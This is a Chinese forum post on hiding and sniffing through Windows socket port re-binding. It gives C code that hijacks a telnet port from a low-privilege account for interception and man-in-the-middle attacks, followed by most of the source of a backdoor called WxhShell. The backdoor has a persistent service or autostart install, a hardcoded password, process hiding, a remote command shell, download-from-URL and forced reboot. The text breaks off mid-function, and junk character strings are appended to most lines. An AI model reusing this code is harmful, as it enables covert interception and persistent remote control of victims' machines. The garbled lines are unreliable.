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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zTtn`j$  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (,Zy 2wr=  
y/}[S@4uB  
  saddr.sin_family = AF_INET; W\mj?R   
N ]KS\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); +O`3eP`u  
<a9<rF =r  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L%G/%*7;c  
VyQ@. Lm  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 32y GIRV  
oNW.-gNT  
  这意味着什么?意味着可以进行如下的攻击: uSnG=tB  
vW`Dy8`06  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "B18|#v  
3r{3HaN(^'  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RmF,x9  
\ G}02h  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0#\K9|.  
+NIq}fZn9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cd_\?7  
JbT+w \o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Y0nnn  
pq8XCOllXx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;U7o)A;  
k'O^HMAn!  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VaYL#\;c<  
Swugt"`nN  
  #include r6 k/QZT  
  #include m]C|8b7Y  
  #include OIi8x? .~]  
  #include    6T-h("t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   X`/3X}<$7  
  int main() [bE-Uu7q5P  
  { ;#'YO1`gf3  
  WORD wVersionRequested; L`sg60z  
  DWORD ret; #cHH<09 rl  
  WSADATA wsaData; 9o)sSaTx=  
  BOOL val; UoD S)(i  
  SOCKADDR_IN saddr; Q7<%_a  
  SOCKADDR_IN scaddr; ;E,^bt<U  
  int err; G$#Q:]N  
  SOCKET s; 2x PkQOj3  
  SOCKET sc; _=%F6}TE  
  int caddsize; Eb 8vnB#  
  HANDLE mt; s &4k  
  DWORD tid;   <x&0a$I  
  wVersionRequested = MAKEWORD( 2, 2 ); ie<zc+*rW  
  err = WSAStartup( wVersionRequested, &wsaData ); JONfNb+  
  if ( err != 0 ) { X#;n Gq)5  
  printf("error!WSAStartup failed!\n"); 4XL$I*;4  
  return -1; }~W:3A{7;  
  } w&c6iFMd0  
  saddr.sin_family = AF_INET; xIt'o(jQH  
   Y-Iu&H+\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }kJfTsFS  
]~a;tF>Fw  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .AB n$ml]  
  saddr.sin_port = htons(23); 1omjP`]|,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \[\4= !v  
  { *}F>c3x]  
  printf("error!socket failed!\n"); (Dat`:  
  return -1; }~I(e  
  } |uUGvIsXn  
  val = TRUE; ?L K n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B#Q` !B4v  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ar&j1""  
  { C ~e&J&zh  
  printf("error!setsockopt failed!\n"); _#\e5bE=Z  
  return -1; T]er_n  
  } /Pbytu);ds  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tLH:'"{zx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @euH[<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s=S9y7i(R  
q?R^~r  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (M0"I1g|w  
  { `i!BXOOV{  
  ret=GetLastError(); _h6j, )  
  printf("error!bind failed!\n"); Q,ez AE  
  return -1; 34*73WxK  
  } R"wBDWs  
  listen(s,2); ='W=  
  while(1) y ;/T.W9!  
  { f-.dL  
  caddsize = sizeof(scaddr); t]3> X  
  //接受连接请求 7$"A2x   
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "*U0xnI  
  if(sc!=INVALID_SOCKET) hqXp>.W  
  { g 2LY~  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); lQS(\}N  
  if(mt==NULL) ^cUmLzM  
  { "h@=O c  
  printf("Thread Creat Failed!\n"); #r|qi tL3  
  break; R\a6 #u3  
  } FmtgH1u:=  
  } I`~Giz7@  
  CloseHandle(mt); ^ABt g#  
  } >^=;b5I2K  
  closesocket(s); 1+F0$<e}  
  WSACleanup(); .B+Bl/  
  return 0; (jyT9'*wAT  
  }   zAW+!C.  
  DWORD WINAPI ClientThread(LPVOID lpParam) H]P*!q`Ko  
  { elqm/u  
  SOCKET ss = (SOCKET)lpParam; b I-uF8"  
  SOCKET sc; {g C?kp  
  unsigned char buf[4096]; ; Sd== *  
  SOCKADDR_IN saddr; @~z4GTF9i  
  long num; +P &S0/  
  DWORD val; oSf6J:?*e  
  DWORD ret; 7z2Q!0Sz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3 <A?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `K7UWtp  
  saddr.sin_family = AF_INET; 4 -CGe  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sck.2-f"  
  saddr.sin_port = htons(23); =dT  #x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }6'%p Bd  
  { _4f=\  
  printf("error!socket failed!\n"); UVd ^tg  
  return -1; HJi FlL3  
  } WaPuJ 5;e  
  val = 100; &ggOm  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lt{D f~c  
  { \wKnX]xGf  
  ret = GetLastError(); $$ 9!4  
  return -1; p uZY4}b_  
  } q)l1tC72  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d[\$a4G+  
  { <Fi*wV  
  ret = GetLastError(); tCR#TW+IY-  
  return -1; MpVZL29)  
  } b$eN]L   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 43}uW, P  
  { ~} 02q5H  
  printf("error!socket connect failed!\n"); !C&  ^%a  
  closesocket(sc); ` t>A~.f  
  closesocket(ss); !gm@QO cF  
  return -1; b}3t8?wG&  
  } "C.cU  
  while(1) )Z*nm<=  
  { N;HG@B!m  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -kP$S qR~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pil_zQ4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F-X L  
  num = recv(ss,buf,4096,0); Kr'Yz!  
  if(num>0) }*P?KV (  
  send(sc,buf,num,0); rw$ =!iyO  
  else if(num==0) N}ugI`:  
  break; ?{;7\1 [4  
  num = recv(sc,buf,4096,0); IkuE|  
  if(num>0) v@d]*TG  
  send(ss,buf,num,0); ?orLc,pU^  
  else if(num==0) b&*)C#7/T  
  break; ;d .gVR_V  
  } V2S HF  
  closesocket(ss); Q-?6o  
  closesocket(sc); m@y<wk(  
  return 0 ; ;lQ>>[*  
  } !{?<(6;t  
+,_%9v?3  
sd _DG8V  
========================================================== 7.*Mmx~]=  
&u4;A[- R  
下边附上一个代码,,WXhSHELL #= T^XHjQ  
#0f6X,3  
========================================================== c 'rn8Jo}  
U;=1v:~d  
#include "stdafx.h" <2e[;$  
,YBe|3  
#include <stdio.h> _l+8[\v  
#include <string.h> GP(ze-Yp  
#include <windows.h> hvc3n> Y[}  
#include <winsock2.h> xC9?Wt'  
#include <winsvc.h> Nwg?(h#  
#include <urlmon.h> =PjxMC._  
h-]c   
#pragma comment (lib, "Ws2_32.lib") `n"PHur  
#pragma comment (lib, "urlmon.lib") i~LY  
$=5kn>[_Z%  
#define MAX_USER   100 // 最大客户端连接数 e0M'\'J  
#define BUF_SOCK   200 // sock buffer @Hl+]arUh  
#define KEY_BUFF   255 // 输入 buffer G+t=+T2m  
T|2v1Vj  
#define REBOOT     0   // 重启 FEi@MJJ\e  
#define SHUTDOWN   1   // 关机 "vfpG7CG  
]wUH*\(y  
#define DEF_PORT   5000 // 监听端口 L1kA AR  
T7^?j :kJ/  
#define REG_LEN     16   // 注册表键长度 C;%1XFzM  
#define SVC_LEN     80   // NT服务名长度 T930tX6"h  
%us#p|Ya  
// 从dll定义API 8<{i=V*x4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \ cdns;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T0@$6&b%\z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *mkVk7]c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WFTwFm6  
NpxgF<G  
// wxhshell配置信息 s &f\gp1  
struct WSCFG { w8bvqTQ  
  int ws_port;         // 监听端口 r&_e3#]*  
  char ws_passstr[REG_LEN]; // 口令 E"7[|-`e6  
  int ws_autoins;       // 安装标记, 1=yes 0=no hlfdmh? /  
  char ws_regname[REG_LEN]; // 注册表键名 {TvB3QOsj  
  char ws_svcname[REG_LEN]; // 服务名 ovZ!}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )|GYxG;8C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~|S}$|Mi50  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m:c0S8#:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qJJ}, 4}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vwzElZ{C:v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 89m9iJ=  
?z0W1a  
}; yG^pND>_df  
`i!fg\qnK  
// default Wxhshell configuration V ONC<wC  
struct WSCFG wscfg={DEF_PORT, V@nZ_.  
    "xuhuanlingzhe", L9]d$ r"  
    1, Fw8b^ew  
    "Wxhshell", ;u=%Vn"2a  
    "Wxhshell", (o^?i2)g  
            "WxhShell Service", !gcea?I  
    "Wrsky Windows CmdShell Service", @SI,V8i  
    "Please Input Your Password: ", !R![:T\,  
  1, WtC&Qyuq  
  "http://www.wrsky.com/wxhshell.exe", ]_`ICS  
  "Wxhshell.exe" tNQACM8F;  
    }; R7A:K]iJ5  
5n[''#D  
// 消息定义模块 k\r^GB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5z:#Bl-,L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %a]Imsm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; > qPP_^]  
char *msg_ws_ext="\n\rExit."; j^/=.cD|  
char *msg_ws_end="\n\rQuit."; TiR00#b  
char *msg_ws_boot="\n\rReboot..."; wG73GD38  
char *msg_ws_poff="\n\rShutdown..."; agq4Zy  
char *msg_ws_down="\n\rSave to "; {B4.G8%Z  
^v+p@k  
char *msg_ws_err="\n\rErr!"; czsnPmNEI  
char *msg_ws_ok="\n\rOK!"; r5y*SoD!  
DPkH:X  
char ExeFile[MAX_PATH]; ,b:~Vpb1I  
int nUser = 0; ">5$;{;2r  
HANDLE handles[MAX_USER]; {w@9\LsU  
int OsIsNt; =ui3I_*)  
!JBj%|!  
SERVICE_STATUS       serviceStatus; u'^kpr`y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MY^o0N  
;0`IFtz  
// 函数声明 >I',%v\?@  
int Install(void); LQR^lD+_=  
int Uninstall(void); =&<d4'(Qk  
int DownloadFile(char *sURL, SOCKET wsh); x<7?  
int Boot(int flag); ;#^ o5ht  
void HideProc(void); r`pf%9k  
int GetOsVer(void); bn7g!2  
int Wxhshell(SOCKET wsl); nb ?(zDJ8  
void TalkWithClient(void *cs); cI&XsnY  
int CmdShell(SOCKET sock); Gzs$0Ki=  
int StartFromService(void); Y[W:Zhl;  
int StartWxhshell(LPSTR lpCmdLine); 50`|#zF^#  
RRQIlI<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nTD4^'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 57q?:M=^  
8c>xgFWp9  
// 数据结构和表定义 >s )L(DHa"  
SERVICE_TABLE_ENTRY DispatchTable[] = 5hh6;)  
{ LnM$@  
{wscfg.ws_svcname, NTServiceMain}, ;%k C?Vzi  
{NULL, NULL} z`p9vlS[  
}; ~z,qr09  
q,> C^p|2b  
// 自我安装 Hv2[=elc  
int Install(void) cc8Q}   
{ 4aW[`  
  char svExeFile[MAX_PATH]; $/$Hi U`.  
  HKEY key; yE~D0%Umq  
  strcpy(svExeFile,ExeFile); saDu'SmYV  
~=I:go  
// 如果是win9x系统,修改注册表设为自启动 y0p\Gu;3j  
if(!OsIsNt) { a!f71k r  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %xKZ" #Z#K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .gM6m8l9wp  
  RegCloseKey(key); 7u rD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c&Eva  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D;*cy<_K8  
  RegCloseKey(key); c`/=)IO4%  
  return 0; rHuzGSX54  
    }  d^zuo  
  } l%p,m [  
} m77 !i>V)  
else { G:@1.H`  
m#-&<=  
// 如果是NT以上系统,安装为系统服务 ddbQFAQQQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); T%;NW|mH&  
if (schSCManager!=0) z.+%{_pe  
{ jp1e3 Cg  
  SC_HANDLE schService = CreateService 6!N2B[9  
  ( yb)qg]2  
  schSCManager, IM,4Si2  
  wscfg.ws_svcname, P s<k2  
  wscfg.ws_svcdisp, 5X9Lh_p  
  SERVICE_ALL_ACCESS,  Pa?{}A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fsWIz1K  
  SERVICE_AUTO_START, nrX+  '  
  SERVICE_ERROR_NORMAL, i r'C(zD=  
  svExeFile, \(&&ed:  
  NULL, 27}7 n  
  NULL, Z~}9^(qc  
  NULL, 9M ;Y$Z  
  NULL, M?o_J4  
  NULL `~=NBN=tiL  
  ); zbGZ\pz  
  if (schService!=0) /8<c~  
  { S]Di1E^r;_  
  CloseServiceHandle(schService); U3{4GmrT  
  CloseServiceHandle(schSCManager); _/u(:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ((<\VQ,>(  
  strcat(svExeFile,wscfg.ws_svcname); J1Az+m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )o-mM tPj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1Dhu 5ht  
  RegCloseKey(key); Pjxj$>&;*j  
  return 0; {B e9$$W,  
    } RKM5FXX  
  } Y\+LBbB8  
  CloseServiceHandle(schSCManager); G]{^.5  
} |n^rI\ p%  
} .g?D3$|K  
>3~)2)Q  
return 1; u:6R|%1fNn  
} 2\1bQ q\  
B =7maYeU  
// 自我卸载  cV_-Bcb  
int Uninstall(void) wAJ= rRI  
{ )]4=anJu@|  
  HKEY key; u^#e7u  
ZHlHnUo  
if(!OsIsNt) { ~B? Wg!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2$`Y 4b3t  
  RegDeleteValue(key,wscfg.ws_regname); zL3zvOhu}  
  RegCloseKey(key); `M. I.Z_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %<'.c9u5  
  RegDeleteValue(key,wscfg.ws_regname); 6eA)d#  
  RegCloseKey(key); I6gduvkXi4  
  return 0; YpRhl(|  
  } GV28&!4sS  
} p )]x,F  
} & JJ*?Dl  
else { tkkh<5{C   
r. (}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7$t['2j3  
if (schSCManager!=0) wA)n ryXV  
{ OVc)PMp  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2-W y@\  
  if (schService!=0) >oaL-01i  
  { ;t,v/(/3  
  if(DeleteService(schService)!=0) { 3 TTQf f  
  CloseServiceHandle(schService); zSu,S4m_;  
  CloseServiceHandle(schSCManager); wXKt)3dmu  
  return 0; TJ_6:;4,|_  
  } Zb|a\z8?  
  CloseServiceHandle(schService); Mn<s9ITS-  
  } @`8a 3sL)  
  CloseServiceHandle(schSCManager); ?Zk;NL9  
} @*- 6DG-f  
} Li$2 Gpc/  
0&b;!N!vJ  
return 1; N8x.D-=gG  
} fO .=i1 E}  
lC,~_Yb  
// 从指定url下载文件 !IB}&m  
int DownloadFile(char *sURL, SOCKET wsh) +Z86Qz_  
{ b`,Sd.2=('  
  HRESULT hr; ' I!/I  
char seps[]= "/"; t 7sEY  
char *token; e=eip?p  
char *file; i}i >ho-8  
char myURL[MAX_PATH]; +P,ic*Kq*  
char myFILE[MAX_PATH]; 4x3 _8/=  
@A(jo32  
strcpy(myURL,sURL); C5$?Y8B3  
  token=strtok(myURL,seps); vy2"B ch  
  while(token!=NULL) |.&GmP  
  { rKd|s7l  
    file=token; mZmEE2h  
  token=strtok(NULL,seps); (/!@ -]1  
  } ~C>Q+tR8  
_-^mxC|M  
GetCurrentDirectory(MAX_PATH,myFILE); [TFp2B~)#  
strcat(myFILE, "\\"); 8lS RK%  
strcat(myFILE, file); j]]5&u/l  
  send(wsh,myFILE,strlen(myFILE),0); qDhZC*"9#D  
send(wsh,"...",3,0); X8?@Y@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IiE^HgM  
  if(hr==S_OK) DUH_LnHw)  
return 0; T!HAE#xC  
else \pTv;(  
return 1; {XUSw8W'  
kBk2mMZ  
} oDJ &{N|  
YnW9uy5  
// 系统电源模块 mFxt +\  
int Boot(int flag) H~SU:B:  
{ D ] n|d+  
  HANDLE hToken; U>m{B|H  
  TOKEN_PRIVILEGES tkp; apgKC;  
-1`}|t;  
  if(OsIsNt) { _#+l?\u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1uR@ZK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3d7A/7S  
    tkp.PrivilegeCount = 1; TXS`ey  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3>73s}3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); UQ7La 7"  
if(flag==REBOOT) { VGu(HB8n#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N'$P( bx  
  return 0; 4xg1[Z%:  
} ]#rV]As  
else { E}a.qM'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4^4T#f2=e  
  return 0; B4+c3M\$V  
} Q u7ML]e?z  
  } 5 wN)N~JE  
  else { PYY<  
if(flag==REBOOT) { ! r/~D |  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G\,B*$3   
  return 0; AN[pjC<  
} pS7y3(_  
else { 61OlnmvE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Gl45HyY_  
  return 0; I,,SR"  
} aRI.&3-  
} 99,=dzm  
D!Nc&|X^  
return 1; hE'7M;  
} Eb63O  
X}C8!LA  
// win9x进程隐藏模块 .*>C[^  
void HideProc(void) X.,R%>O}`P  
{ a|3+AWL%  
>9#) obw  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =?wDQ:  
  if ( hKernel != NULL ) Gv }  
  { },Grg~l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); G{Ju2HY  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0Q,Tcj  
    FreeLibrary(hKernel); gSyBoY  
  } B9cWxe4R#  
t7xJ "  
return; /d Ua  
} ) .' + {  
*8yC6|wL?  
// 获取操作系统版本 q D=b+\F  
int GetOsVer(void)  CWYOzqf  
{ qt"6~r!  
  OSVERSIONINFO winfo; vk(I7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7M5H vG#w%  
  GetVersionEx(&winfo); a\Gd;C ^`  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5INw#1~  
  return 1; +>[zn  
  else CtD<% v3`  
  return 0; ?A r}QN  
} j> dZ26 >N  
lb=fS%  
// 客户端句柄模块 ,pf\g[tz  
int Wxhshell(SOCKET wsl) h<PS<  
{ 85] 'I%gT  
  SOCKET wsh; h4Arg~Or  
  struct sockaddr_in client; lU&2K$`  
  DWORD myID; 9(vp`Z8B4  
EQZ/v gho  
  while(nUser<MAX_USER) ,nPnH1vb  
{ n-qle5sj  
  int nSize=sizeof(client); 3!QXzT$E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Xa$%`  
  if(wsh==INVALID_SOCKET) return 1; )-}<}< oO  
!O'p{dj][  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); JnnxXj30,  
if(handles[nUser]==0) yOb']  
  closesocket(wsh); mRGr+m  
else ?>vkY^/  
  nUser++; {BaPK&x,  
  } =T?Xph{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); i??+5o@uTF  
HxL uJ  
  return 0; c*" P+  
} ! /|B4Yv  
Ag2Q!cq  
// 关闭 socket H/8u?OC  
void CloseIt(SOCKET wsh) (R RRG;*n#  
{ 6!*zgA5M'  
closesocket(wsh); j/E(*Hv  
nUser--; J\'f5)k  
ExitThread(0); bS55/M w  
} ^U,C])n  
a_b+RMy  
// 客户端请求句柄 By}ZHK94I  
void TalkWithClient(void *cs) .i` -t"  
{ %P#| }  
a8k`Wog  
  SOCKET wsh=(SOCKET)cs; {cdrMP@""  
  char pwd[SVC_LEN]; '9<8<d7?  
  char cmd[KEY_BUFF]; +G7[(Wz(z  
char chr[1]; 7suT26C  
int i,j; j-FMWEp  
('d,Sh  
  while (nUser < MAX_USER) { JlEfUg#*  
;4v`FC>  
if(wscfg.ws_passstr) { ,,)'YhG(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $I ,Np)i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Ze[\y(K!  
  //ZeroMemory(pwd,KEY_BUFF); Jk{v (W#  
      i=0; 4wa3$Pk  
  while(i<SVC_LEN) { .6bo  
0 EA3> $;  
  // 设置超时 v"Ryg]^_  
  fd_set FdRead; r]~]-VZ/  
  struct timeval TimeOut; s(L!]d.S$y  
  FD_ZERO(&FdRead); As tuM]  
  FD_SET(wsh,&FdRead); 7W&XcF  
  TimeOut.tv_sec=8; )RWukr+  
  TimeOut.tv_usec=0; UKB/>:R  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +9<:z\B|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X .K*</(g  
:inVwc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |^F$Ta  
  pwd=chr[0]; j*1MnP3/8Y  
  if(chr[0]==0xd || chr[0]==0xa) { ^ ~Tn[w W_  
  pwd=0; ;vpq0t`  
  break; -ni@+Dy  
  } %)&Tr`   
  i++; 65RD68a  
    } g(Oor6Pp  
;MlPP)*k  
  // 如果是非法用户,关闭 socket ; =*=P8&5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Uhyf  
} cN\_1  
7s}F`fjKP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1h)K3cC  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hbu :HFJ!  
;oVOq$ql  
while(1) { n \&H~0X  
/WX&UAG  
  ZeroMemory(cmd,KEY_BUFF); Un5 AStG  
Ak O-PL  
      // 自动支持客户端 telnet标准   a,fcR<  
  j=0; C!^;%VQ}d  
  while(j<KEY_BUFF) { =i/ r:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]{ch]m  
  cmd[j]=chr[0]; tWTC'Gx-J  
  if(chr[0]==0xa || chr[0]==0xd) { \3F)M`g  
  cmd[j]=0; Az>r}*F Gr  
  break; `P*wZKlW  
  } T[cJ   
  j++; 9}q)AL-ga  
    } ~)ysEZl  
PklJU:Pu\U  
  // 下载文件 d9T:0A`M  
  if(strstr(cmd,"http://")) { 5.kKg=a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); plNw>rFa  
  if(DownloadFile(cmd,wsh)) YelF)Na  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {?3i^Q=V  
  else Vk76cV D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N7;kWQH  
  } @TzUc E  
  else { zMO xJ   
]2[\E~^KU  
    switch(cmd[0]) { #N y+6XM  
  2mO9  
  // 帮助 '3E25BsL  
  case '?': { ?dCJv_w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~BnmAv$m[  
    break; W3R43>$  
  } nwDGzC~y<  
  // 安装 $)=`Iai  
  case 'i': { AD6 b  
    if(Install()) r -uu`=,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D<*) ^^  
    else Q7mikg=1-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZA'0 q  
    break; -KqMSf&9  
    } 'loko#6  
  // 卸载 /c7jL4oD  
  case 'r': { 7sVO?:bj}  
    if(Uninstall()) v~YGef;D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ykGA.wo7/P  
    else Ffd;aZ4n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]XYD2fR2qA  
    break; )E6E}  
    } ^Q!A4 qOQ  
  // 显示 wxhshell 所在路径 UHIXy#+o5  
  case 'p': { 91k-os(4]  
    char svExeFile[MAX_PATH]; h6tYy_(G  
    strcpy(svExeFile,"\n\r"); tC7 4=  
      strcat(svExeFile,ExeFile); =>GGeEL  
        send(wsh,svExeFile,strlen(svExeFile),0); `2q]ju  
    break; &m TYMpA  
    } $ ]^Io)}f@  
  // 重启 m\|EM'@k  
  case 'b': { aQj6XG u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H*",'`|-  
    if(Boot(REBOOT)) W4nhPH(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;g<y{o"Q3p  
    else { OgCNq W d-  
    closesocket(wsh); bhfC2@  
    ExitThread(0); '\"5qB  
    } 81)i>]  
    break; (>*L-&-  
    } SJsbuLxR  
  // 关机 jRW@$ <mG  
  case 'd': { \+C0Rv^^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R~RE21kAc  
